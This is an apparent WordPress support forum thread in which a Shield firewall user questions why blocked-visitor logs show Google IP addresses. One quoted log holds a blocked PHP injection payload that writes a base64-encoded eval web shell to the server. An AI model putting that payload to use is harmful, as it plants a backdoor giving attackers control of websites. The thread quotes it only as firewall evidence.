Firewall Trigger: Aggressive Rules

  • Just updated a plugin and got this:

    Shield has blocked a page visit to your site.
    Log details for this visitor are below:
    – IP Address: 209.85.238.30
    – Page parameter failed firewall check. The offending parameter was “return” with a value of “/wp-admin/update.php?action=upgrade-plugin&plugin=wp-auto-affiliate-links%2FWP-auto-affiliate-links.php&_wpnonce=a71cbcbe55”.
    – Firewall Trigger: Aggressive Rules.
    – Firewall Block Response: Visitor connection was killed with wp_die() and a message.
    You can look up the offending IP Address here: https://ip-lookup.net/?ip=209.85.238.30

    BUT the IP is wrong (should be my ip ?) …. 209.85.238.30 is something from google.com, rate-limited-proxy-209-85-238-30.google.com

    I can’t figure out clearly what this is.

    Maybe you know ..

    Thanks

    • This topic was modified 8 years, 4 months ago by massimod.
Viewing 4 replies - 1 through 4 (of 4 total)
  • Thread Starter massimod

    (@massimod)

    I would like to add that the SAME plugin update to my second WP site (same more or less), didn’t trigger anything.

    Strange.

    Thread Starter massimod

    (@massimod)

    It is a Feedburner bot ?

    Plugin Author Paul

    (@paultgoodchild)

    I don’t know the origin IP… all we can do is try to find the IP address and report it according to your web hosting configuration.

    Thread Starter massimod

    (@massimod)

    The IP you log is simply wrong. I have reported that also previously

    https://www.ads-software.com/support/topic/what-kind-of-protection-events-are-logged/

    Shield has blocked a page visit to your site.
    Log details for this visitor are below:
    – IP Address: 66.249.91.130
    – Page parameter failed firewall check. The offending parameter was “0” with a value of “@ini_set(“display_errors”,”0″);@set_time_limit(0);@set_magic_quotes_runtime(0);echo ‘->|’;file_put_contents($_SERVER[‘DOCUMENT_ROOT’].’/webconfig.txt.php’,base64_decode(‘PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+’));echo ‘|<-‘;”.
    – Firewall Trigger: Aggressive Rules.
    – Firewall Block Response: Visitor connection was killed with wp_die().
    You can look up the offending IP Address here: https://ip-lookup.net/?ip=66.249.91.130

    So attempts from an IP are actually counted for an other IP ?

    Thanks

    The logged IPs are not correct. You log search engines IPs instead of the real offender.

    Thanks

    • This reply was modified 8 years, 3 months ago by massimod.
Viewing 4 replies - 1 through 4 (of 4 total)
  • The topic ‘Firewall Trigger: Aggressive Rules’ is closed to new replies.